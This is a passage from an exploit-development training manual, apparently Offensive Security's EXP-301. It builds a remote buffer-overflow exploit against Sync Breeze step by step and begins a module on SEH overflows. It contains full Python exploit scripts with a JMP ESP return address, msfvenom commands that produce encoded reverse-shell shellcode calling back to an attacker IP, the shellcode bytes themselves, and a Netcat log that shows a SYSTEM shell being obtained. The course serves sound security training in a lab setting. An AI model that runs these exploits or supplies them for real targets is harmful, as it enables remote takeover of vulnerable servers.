10090c8e 0910 or dword ptr [eax],edx
10090c90 46 inc esi
10090c91 0c09 or al,9
Listing 75 - Unassemble the memory address where the JMP ESP instruction is located

The above listing shows that our address does indeed point to an opcode that translates to a
JMP ESP instruction.
By redirecting EIP to this address at the time of the crash, the JMP ESP instruction will be
executed, leading the execution flow into our shellcode placeholder.

Let’s try it out by updating the eip variable to reflect this address in our proof of concept:
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800

filler = b"A" * 780


eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP
offset = b"C" * 4
shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + shellcode
content = b"username=" + inputBuffer + b"&password=A"
...

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 79
Windows User Mode Exploit Development

Listing 76 - stack_overflow_0x06.py: Redirecting EIP

In listing 76 the JMP ESP address is written in reverse order; this is because of the endian80 byte
order required by the x86 architecture. Operating systems can store addresses and data in
memory in different formats.
Generally speaking, the format used to store addresses in memory depends on the architecture of
the operating system. Little endian is currently the most widely-used format and is used by the
x86 and AMD64 architectures. Big endian was historically used by the Sparc and PowerPC
architectures.
In the little endian format, the low-order byte of the number is stored in memory at the lowest
address, and the high-order byte at the highest address. Therefore, we have to store the return
address in reverse order in our buffer for the CPU to interpret it correctly in memory.
Let’s place a breakpoint at address 0x10090c83 using bp in order to follow the execution of the
JMP ESP instruction, and run our exploit again. The result is shown in Listing 77:
0:009> bp 10090c83

0:009> bl
0 e Disable Clear 10090c83 0001 (0001) 0:****
libspp!SCA_FileScout::GetStatusValue+0xb3

0:009> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=00647fb4 edx=00000358 esi=00640fa6 edi=008a8f50
eip=10090c83 esp=0032745c ebp=0063a3e8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {0032745c}

0:009> t
eax=00000001 ebx=00000000 ecx=00647fb4 edx=00000358 esi=00640fa6 edi=008a8f50
eip=0032745c esp=0032745c ebp=0063a3e8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0032745c 44 inc esp

0:009> dc eip L4
0032745c 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
Listing 77 - Setting a breakpoint at the JMP ESP memory address inside WinDbg

Our debugger shows that we reached our JMP ESP and hit the breakpoint we set. Using the t
command in the debugger will single-step into our shellcode placeholder, which is currently just a
bunch of D’s.
Great! Now we just need to generate working shellcode and our exploit will be complete.

3.4.6.1 Exercises
1. Using WinDBG, try to determine the protections of the syncbrs.exe executable.

80
(Wikipedia, 2019), http://en.wikipedia.org/wiki/Endianness

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 80
Windows User Mode Exploit Development

2. Use Process Hacker to find a module loaded in the memory space of syncbrs.exe that is
located at an address range without null bytes and is not compiled with any mitigations.
3. Locate the address of a JMP ESP instruction that is usable in the exploit.
4. Update your proof of concept to include the discovered JMP ESP, set a breakpoint on it, and
follow the execution to the placeholder shellcode.
5. Can you find a different assembly instruction that will achieve the same result?

3.4.7 Generating Shellcode with Metasploit


Writing our own custom shellcode is something we will cover in a later module. For now, the
Metasploit Framework provides us with tools and utilities that make generating complex
payloads simple.
To build our shellcode, we’ll use the MSFvenom81 tool. It can generate shellcode payloads and
encode82 them using a variety of different encoders. Currently, the msfvenom command can
automatically generate over 500 shellcode payload options, as shown in the excerpt below:
kali@kali:~$ msfvenom -l payloads

Framework Payloads (546 total) [--payload <value>]


==================================================

Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
...
windows/shell_reverse_tcp Connect back to attacker and spawn a command shell
...
Listing 78 - Command to list all Metasploit shellcode payloads

The msfvenom command is fairly easy to use. We will use -p to generate a basic payload called
windows/shell_reverse_tcp, which acts like a Netcat reverse shell. This payload minimally requires
an LHOST parameter, to define the destination IP address for the shell. An optional LPORT
parameter specifying the connect-back port may also be defined. We can use the format flag -f
to select C-formatted shellcode, which makes it easy to plug the payload into our Python script.
The complete command that generates our shellcode is as follows:
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=443 -f
c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of c file: 1386 bytes

81
(Wei Chen, 2014), https://blog.rapid7.com/2014/12/09/good-bye-msfpayload-and-msfencode/
82
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Shellcode#Shellcode_encoding

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 81
Windows User Mode Exploit Development

unsigned char buf[] =


"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x77\x78\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
Listing 79 - Generate metasploit shellcode

This seems like a simple solution - however, checking carefully we identify bad characters (null
bytes) in the generated shellcode.
Since we cannot use a generic shellcode, we must encode it to fit our target environment.
Generally speaking, encoders can replace bad characters with allowed ones by using a particular
scheme. For example, an encoder might transform our shellcode into a purely alphanumeric
payload, getting rid of bad characters. This could be useful for target applications that only accept
text-based characters as input. In order to run successfully, the encoded shellcode will have to be
decoded at run-time. Because of that, the encoder will also prepend the final encoded shellcode
with a small decoder stub.
In this particular case, we’ll use a more advanced and very popular encoder, shikata_ga_nai,83 to
encode our shellcode. We can tell the encoder which bad characters to ignore with the -b option:
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=443 -f
c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xdd\xc4\xba\x6d\xdc\x1e\xf1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"

83
(Rapid7, 2018), https://www.rapid7.com/db/modules/encoder/x86/shikata_ga_nai

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 82
Windows User Mode Exploit Development

"\x52\x31\x56\x17\x83\xee\xfc\x03\x3b\xcf\xfc\x04\x3f\x07\x82"
"\xe7\xbf\xd8\xe3\x6e\x5a\xe9\x23\x14\x2f\x5a\x94\x5e\x7d\x57"
"\x5f\x32\x95\xec\x2d\x9b\x9a\x45\x9b\xfd\x95\x56\xb0\x3e\xb4"
"\xd4\xcb\x12\x16\xe4\x03\x67\x57\x21\x79\x8a\x05\xfa\xf5\x39"
"\xb9\x8f\x40\x82\x32\xc3\x45\x82\xa7\x94\x64\xa3\x76\xae\x3e"
"\x63\x79\x63\x4b\x2a\x61\x60\x76\xe4\x1a\x52\x0c\xf7\xca\xaa"
"\xed\x54\x33\x03\x1c\xa4\x74\xa4\xff\xd3\x8c\xd6\x82\xe3\x4b"
"\xa4\x58\x61\x4f\x0e\x2a\xd1\xab\xae\xff\x84\x38\xbc\xb4\xc3"
"\x66\xa1\x4b\x07\x1d\xdd\xc0\xa6\xf1\x57\x92\x8c\xd5\x3c\x40"
"\xac\x4c\x99\x27\xd1\x8e\x42\x97\x77\xc5\x6f\xcc\x05\x84\xe7"
"\x21\x24\x36\xf8\x2d\x3f\x45\xca\xf2\xeb\xc1\x66\x7a\x32\x16"
"\x88\x51\x82\x88\x77\x5a\xf3\x81\xb3\x0e\xa3\xb9\x12\x2f\x28"
"\x39\x9a\xfa\xff\x69\x34\x55\x40\xd9\xf4\x05\x28\x33\xfb\x7a"
"\x48\x3c\xd1\x12\xe3\xc7\xb2\xdc\x5c\xb0\x3a\xb5\x9e\x3e\xba"
"\xfe\x16\xd8\xd6\x10\x7f\x73\x4f\x88\xda\x0f\xee\x55\xf1\x6a"
"\x30\xdd\xf6\x8b\xff\x16\x72\x9f\x68\xd7\xc9\xfd\x3f\xe8\xe7"
"\x69\xa3\x7b\x6c\x69\xaa\x67\x3b\x3e\xfb\x56\x32\xaa\x11\xc0"
"\xec\xc8\xeb\x94\xd7\x48\x30\x65\xd9\x51\xb5\xd1\xfd\x41\x03"
"\xd9\xb9\x35\xdb\x8c\x17\xe3\x9d\x66\xd6\x5d\x74\xd4\xb0\x09"
"\x01\x16\x03\x4f\x0e\x73\xf5\xaf\xbf\x2a\x40\xd0\x70\xbb\x44"
"\xa9\x6c\x5b\xaa\x60\x35\x6b\xe1\x28\x1c\xe4\xac\xb9\x1c\x69"
"\x4f\x14\x62\x94\xcc\x9c\x1b\x63\xcc\xd5\x1e\x2f\x4a\x06\x53"
"\x20\x3f\x28\xc0\x41\x6a";
Listing 80 - Generating shellcode without bad characters

The resulting shellcode is 351 bytes long, contains no bad characters, and will send a reverse
shell to our IP address on port 443.

3.4.7.1 Exercises
1. Update your proof of concept by replacing the shellcode placeholder with the encoded
payload generated by msfvenom.
2. Set up a Netcat listener on your Kali machine and run the exploit against your target. Do you
get a shell?
3. Relaunch the exploit and follow the execution flow in the debugger. Step through the
decoder stub and try to understand what is happening.

3.4.8 Getting a Shell


Getting a reverse shell from Sync Breeze should now be as simple as replacing our buffer of D’s
with the shellcode and launching our exploit. However, in this particular case, we have another
hurdle to overcome.
In the previous step, we generated an encoded shellcode using msfvenom. As mentioned in the
previous section, because of the encoding, the shellcode is not directly executable and is
prepended by a decoder stub. The job of this stub is to iterate over the encoded shellcode bytes
and decode them back to their original executable form. To do this, the decoder needs to get its
address in memory and look a few bytes ahead to locate the encoded shellcode that it needs to

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 83
Windows User Mode Exploit Development

decode. During the process of gathering the decoder stub’s location in memory, the code
performs a sequence of assembly instructions commonly referred to as a GetPC84 routine.
This short routine moves the value of the EIP register (sometimes referred to as the Program
Counter or PC) into another register.
As with other GetPC routines, those used by shikata_ga_nai have an unfortunate side-effect of
writing data at and around the top of the stack. This eventually mangles several bytes close to the
address pointed at by the ESP register. This small change on the stack is a problem for us
because the decoder starts exactly at the address pointed to by the ESP register. In short, the
GetPC routine execution ends up changing a few bytes of the decoder itself, and potentially the
encoded shellcode. This will eventually cause the decoding process to fail and crash the target
process as shown in the listing below.

0:010> t
(914.e64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=001a121c edx=f11edc6d esi=0019c196 edi=00a27420
eip=01447467 esp=0144745c ebp=0019c6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
01447467 0000 add byte ptr [eax],al ds:0023:00000001=??
0:010>
eax=00000001 ebx=00000000 ecx=001a121c edx=f11edc6d esi=0019c196 edi=00a27420
eip=779a44a1 esp=01446ef8 ebp=0019c6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!KiUserExceptionDispatcher+0x1:
779a44a1 8b4c2404 mov ecx,dword ptr [esp+4] ss:0023:01446efc=01446f1c
Listing 81 - Causing an access violation in the shellcode decoding process

One way to avoid this issue is by adjusting ESP backwards, making use of assembly instructions
such as DEC ESP, SUB ESP, 0xXX before executing the decoder.
Alternatively, we could create a wide “landing pad” for our JMP ESP, so that when execution lands
anywhere on this pad, it will continue on to our payload. This may sound complicated, but in
practice we simply precede our payload with a series of No Operation (NOP) instructions, which
have an opcode value of 0x90. As the name suggests, these instructions do nothing, and simply
pass execution to the next instruction. Used this way, these instructions, also defined as a NOP
sled or NOP slide, will let the CPU “slide” through the NOPs until the payload is reached.
Regardless of which method we use, by the time the execution reaches the shellcode decoder,
the stack pointer is far enough away not to corrupt the shellcode when the GetPC routine
overwrites a few bytes on the stack.
After adding the NOP sled, our final exploit looks similar to Listing 82 below:
#!/usr/bin/python
import socket
import sys

84
(Hacking/Shellcode/GetPC, Internet Archive 2013),
https://web.archive.org/web/20131017021753/http://skypher.com/wiki/index.php/Hacking/Shellcode/GetPC

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 84
Windows User Mode Exploit Development

try:
server = sys.argv[1]
port = 80
size = 800

filler = b"A" * 780


eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP
offset = b"C" * 4
nops = b"\x90" * 10
shellcode = bytearray(
"\xdd\xc4\xba\x6d\xdc\x1e\xf1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x52\x31\x56\x17\x83\xee\xfc\x03\x3b\xcf\xfc\x04\x3f\x07\x82"
"\xe7\xbf\xd8\xe3\x6e\x5a\xe9\x23\x14\x2f\x5a\x94\x5e\x7d\x57"
"\x5f\x32\x95\xec\x2d\x9b\x9a\x45\x9b\xfd\x95\x56\xb0\x3e\xb4"
"\xd4\xcb\x12\x16\xe4\x03\x67\x57\x21\x79\x8a\x05\xfa\xf5\x39"
"\xb9\x8f\x40\x82\x32\xc3\x45\x82\xa7\x94\x64\xa3\x76\xae\x3e"
"\x63\x79\x63\x4b\x2a\x61\x60\x76\xe4\x1a\x52\x0c\xf7\xca\xaa"
"\xed\x54\x33\x03\x1c\xa4\x74\xa4\xff\xd3\x8c\xd6\x82\xe3\x4b"
"\xa4\x58\x61\x4f\x0e\x2a\xd1\xab\xae\xff\x84\x38\xbc\xb4\xc3"
"\x66\xa1\x4b\x07\x1d\xdd\xc0\xa6\xf1\x57\x92\x8c\xd5\x3c\x40"
"\xac\x4c\x99\x27\xd1\x8e\x42\x97\x77\xc5\x6f\xcc\x05\x84\xe7"
"\x21\x24\x36\xf8\x2d\x3f\x45\xca\xf2\xeb\xc1\x66\x7a\x32\x16"
"\x88\x51\x82\x88\x77\x5a\xf3\x81\xb3\x0e\xa3\xb9\x12\x2f\x28"
"\x39\x9a\xfa\xff\x69\x34\x55\x40\xd9\xf4\x05\x28\x33\xfb\x7a"
"\x48\x3c\xd1\x12\xe3\xc7\xb2\xdc\x5c\xb0\x3a\xb5\x9e\x3e\xba"
"\xfe\x16\xd8\xd6\x10\x7f\x73\x4f\x88\xda\x0f\xee\x55\xf1\x6a"
"\x30\xdd\xf6\x8b\xff\x16\x72\x9f\x68\xd7\xc9\xfd\x3f\xe8\xe7"
"\x69\xa3\x7b\x6c\x69\xaa\x67\x3b\x3e\xfb\x56\x32\xaa\x11\xc0"
"\xec\xc8\xeb\x94\xd7\x48\x30\x65\xd9\x51\xb5\xd1\xfd\x41\x03"
"\xd9\xb9\x35\xdb\x8c\x17\xe3\x9d\x66\xd6\x5d\x74\xd4\xb0\x09"
"\x01\x16\x03\x4f\x0e\x73\xf5\xaf\xbf\x2a\x40\xd0\x70\xbb\x44"
"\xa9\x6c\x5b\xaa\x60\x35\x6b\xe1\x28\x1c\xe4\xac\xb9\x1c\x69"
"\x4f\x14\x62\x94\xcc\x9c\x1b\x63\xcc\xd5\x1e\x2f\x4a\x06\x53"
"\x20\x3f\x28\xc0\x41\x6a")
shellcode+= "D" * (1500 - len(filler) - len(eip) - len(offset) - len(shellcode))
inputBuffer = filler + eip + offset + nops + shellcode
content = b"username=" + inputBuffer + b"&password=A"

buffer = b"POST /login HTTP/1.1\r\n"


buffer += b"Host: " + server + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101
Firefox/52.0\r\n"
buffer += b"Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+str(len(content))+"\r\n"
buffer += b"\r\n"
buffer += content

print("Sending evil buffer...")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 85
Windows User Mode Exploit Development

s.close()

print("Done!")

except socket.error:
print("Could not connect!")
Listing 82 - stack_overflow_0x07.py: Final exploit code

To prepare for the reverse shell payload, let’s configure a Netcat listener on port 443 of our
attacking machine and execute the exploit script. We should quickly receive a SYSTEM reverse
shell from our victim machine:
kali@kali:~$ sudo nc -lvp 443
[sudo] password for kali:
listening on [any] 443 ...
192.168.120.10: inverse host lookup failed: Host name lookup failure
connect to [192.168.119.120] from (UNKNOWN) [192.168.120.10] 49420
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
Listing 83 - Receiving a reverse shell on our Kali box

Excellent! It works. We have created a fully working exploit for a buffer overflow vulnerability from
scratch. However, we still have one small inconvenience to overcome - if we exit the reverse shell,
the Sync Breeze service crashes and exits. This is far from ideal.

3.4.8.1 Exercises
1. Update your proof of concept to include a working payload and a NOP sled.
2. Follow the execution flow in the debugger by setting a breakpoint on the JMP ESP return
address. Make sure you run through the decoder instructions and identify the place on the
stack where the bytes get mangled by the GetPC routine. Why is the NOP sled avoiding the
crash?
3. Set up a Netcat listener on your Kali machine and obtain a reverse shell from Sync Breeze.

3.4.9 Improving the Exploit


Following its execution, the default exit method of a Metasploit shellcode is the ExitProcess API.
This exit method will shut down the whole web service process when the reverse shell is
terminated, effectively killing the Sync Breeze service and causing it to crash.
If the program we are exploiting is a threaded application, as in this case, we can try to avoid
crashing the service completely by using the ExitThread API to only terminate the affected thread
of the program. This allows our exploit to work without interrupting the usual operation of the
Sync Breeze server. We can also repeatedly exploit the server and exit the shell without crashing
the service.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 86
Windows User Mode Exploit Development

To instruct msfvenom to use the ExitThread method during shellcode generation, we’ll use the
EXITFUNC=thread option as shown in the command below:

kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=443


EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
Listing 84 - Generating shellcode to use ExitThread

3.4.9.1 Exercise
1. Update the exploit so that Sync Breeze still runs after exploitation.

3.4.9.2 Extra Mile


In the C:\Installers\stack_overflow\extra_mile folder of your Windows VM, there are two
vulnerable applications, VulnApp1.exe and VulnApp2.exe as well as their associated Python proof
of concept templates. Using what you learned in this module, write exploits for each of the
vulnerable applications.

3.5 Wrapping Up
In this module, we exploited a known vulnerability in the Sync Breeze application, working through
the steps from the initial proof of concept to a fully working exploit. This helps us understand the
process of exploiting a remote buffer overflow from a bug report or vulnerability disclosure.
This process required several steps. First, we crafted a proof of concept that caused an overflow
and granted us control of critical CPU registers. Next, we manipulated memory to gain reliable
remote code execution, and finally, we cleaned up the exploit to avoid crashing the target
application.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 87
Windows User Mode Exploit Development

4 Exploiting SEH Overflows


In a previous module we demonstrated how an attacker can exploit a buffer overflow to overwrite
a return address on the stack and redirect the execution flow in order to execute malicious
shellcode.
While this demonstrated a classic buffer overflow, we could also overwrite and leverage other
structures or pointers to achieve code execution. We’ll explore one of these alternatives in this
module.
In particular, we’ll abuse some Windows exception-handling structures and fully exploit a buffer
overflow in version 10.4.1885 of the Sync Breeze application86 to obtain remote code execution.

4.1 Installing the Sync Breeze Application


Before we begin, let’s install the vulnerable application by launching the installer:
C:\Installers\seh_overflow\syncbreezeent_setup_v10.4.18.exe
Listing 85 - Path to the Sync Breeze installer

After accepting the UAC prompt, we’ll click Next, accept the default options, and click Install.
When the installation process completes, we’ll check Run Sync Breeze Enterprise 10.4.18, as
shown in Figure 23:

Figure 23: Finishing the Sync Breeze installation

85
(Exploit-db, 2018), https://www.exploit-db.com/exploits/43936
86
(Flexense, 2019), http://www.syncbreeze.com/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 88
Windows User Mode Exploit Development

We will be targeting the Server Control component. Let’s gather some basic information about it
by clicking Options, as shown in Figure 24:

Figure 24: Accessing Sync Breeze options

Within the options panel, we’ll select Server and inspect the Server Control Port option, which
indicates the server is listening on the default port, 9121.

Figure 25: Enabling Sync Breeze Web Server

Since we’ll crash the application multiple times during the development of our exploit, we need
the ability to restart it quickly. We can do this by restarting the Sync Breeze Enterprise service
(syncbrs.exe) from Services.msc. This must be done as administrator.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 89
Windows User Mode Exploit Development

4.1.1.1 Exercise
1. Install the Sync Breeze application on your Windows 10 student VM.

4.2 Crashing Sync Breeze


For the purpose of this module, we’ll start our exploit development by examining a publicly
available proof of concept87 for a known vulnerability in the Sync Breeze Server Control service
listening on port 9121.
The code shown in Listing 86 triggers the vulnerability by crafting a custom protocol header
carrying a large buffer.

Normally, we would need to discover the header format in order to interact with
this service. For purposes of this demonstration, we’ll skip this step. However,
we’ll discuss this in more detail in a later module, in which we’ll reverse engineer
a network protocol to acquire such information.

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
server = sys.argv[1]
port = 9121
size = 1000

inputBuffer = b"\x41" * size

header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])

buf = header + inputBuffer

print("Sending evil buffer...")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()

print("Done!")

87
(Exploit-DB - Sync Breeze Enterprise 10.4.18 - Denial of-Service), https://www.exploit-db.com/exploits/44481

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 90
Windows User Mode Exploit Development

except socket.error:
print("Could not connect!")
Listing 86 - seh_overflow_0x01.py: Triggering the initial crash

Since we are targeting a Windows service (syncbrs.exe), we must attach WinDbg to the process
as an administrator.
Once our debugger is attached, we’ll continue execution with g, then return to Kali and run our
script with the IP address of our Windows 10 client as the only argument.
kali@kali:~$ python3 seh_overflow_0x01.py 192.168.120.10
Sending evil buffer...
Done!
Listing 87 - Running the initial proof of concept

Next, we’ll examine the debugger output:


(17f8.1984): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
eax=41414141 ebx=0192fa1c ecx=0192ff18 edx=0192f9d4 esi=0192ff18 edi=0192fb20
eip=00882a9d esp=0192f9a8 ebp=0192fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00882a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
Listing 88 - Inspecting the initial crash in WinDbg

As shown in the listing above, the script crashes the service. WinDbg also indicates that we
triggered an access violation when dereferencing a pointer from the EAX register, which was
overwritten by our “A” buffer.
Good. Our simple proof of concept reliably crashes the vulnerable application. We can proceed
with our exploit development process.

4.2.1.1 Exercise
1. Write a simple proof of concept to replicate the crash.

4.3 Analyzing the Crash in WinDbg


So far, we’ve crashed the vulnerable process while the debugger was attached. We can now
analyze the crash to better understand what is happening.
The crash occurs while the application attempts to call an instruction located at offset 0x24 from
the 0x41414141 address. Because this address is not mapped in memory, attempting to execute
the “call dword ptr [eax+24h]” instruction triggers an access violation.
(17f8.1984): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 91
Windows User Mode Exploit Development

eax=41414141 ebx=0192fa1c ecx=0192ff18 edx=0192f9d4 esi=0192ff18 edi=0192fb20


eip=00882a9d esp=0192f9a8 ebp=0192fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00882a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
Listing 89 - Initial crash in WinDbg

An in-depth examination of our crash shows that the EIP register is not directly under our control:
0:008> r
eax=41414141 ebx=0192fa1c ecx=0192ff18 edx=0192f9d4 esi=0192ff18 edi=0192fb20
eip=00882a9d esp=0192f9a8 ebp=0192fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00882a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
Listing 90 - Dumping the registers at the time of the crash

Furthermore, Listing 90 reveals that EAX seems to be the only register overwritten by our data.
At crash time, various registers store pointers to the stack, which seem to contain chunks of our
data as shown below:
0:008> dds esp L30
0194f9a8 0194fb20
0194f9ac 0194f9bc
0194f9b0 00000000
0194f9b4 0194ff18
0194f9b8 0194fa1c
0194f9bc 00000000
0194f9c0 008666c2 libpal!SCA_NetMessage::Deserialize+0x82
...
0194fa1c 41414141
0194fa20 41414141
0194fa24 41414141
0194fa28 41414141
...
Listing 91 - Inspecting registers and the stack at the moment of the crash

Before trying to find a way to control the execution flow by leveraging the “call dword ptr
[eax+24h]” instruction, let’s inspect the crash more closely.
At this point, the debugger intercepted a first chance exception,88 which is a notification that an
unexpected event occurred during the program’s normal execution. If we let the application go (g),
we obtain the following output:
0:008> g
(17f8.1984): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=770a3b20 esi=00000000 edi=00000000
eip=41414141 esp=0192f438 ebp=0192f458 iopl=0 nv up ei pl zr na pe nc

88
(MSDN, 2005), https://docs.microsoft.com/en-us/archive/blogs/davidklinems/what-is-a-first-chance-exception

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 92
Windows User Mode Exploit Development

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246


41414141 ?? ???
Listing 92 - Continuing execution after the access violation

The output shown in Listing 92 reveals that we have now “magically” gained control over the
instruction pointer.
To understand how this happened, we need to introduce a few concepts related to the Structured
Exception Handlers (SEH) mechanism,89 which is the underlying mechanism used by Windows to
handle exceptions.

4.3.1.1 Exercises
1. Inside WinDbg, confirm that the instruction pointer was not overwritten at the time of the
access violation.
2. After triggering the access violation, resume the execution and confirm control of the
instruction pointer.

4.4 Introduction to Structured Exception Handling


In order to develop a working exploit for our case study, we must understand what happens when
an exception occurs inside an application.
As mentioned in the previous section, exceptions are unexpected events that occur during normal
program execution. There are two kinds of exceptions: hardware exceptions and software
exceptions. Hardware exceptions are initiated by the CPU. We encountered a typical hardware
exception when our script crashed the Sync Breeze service as the CPU attempted to dereference
an invalid memory address.
On the other hand, software exceptions are explicitly initiated by applications when the execution
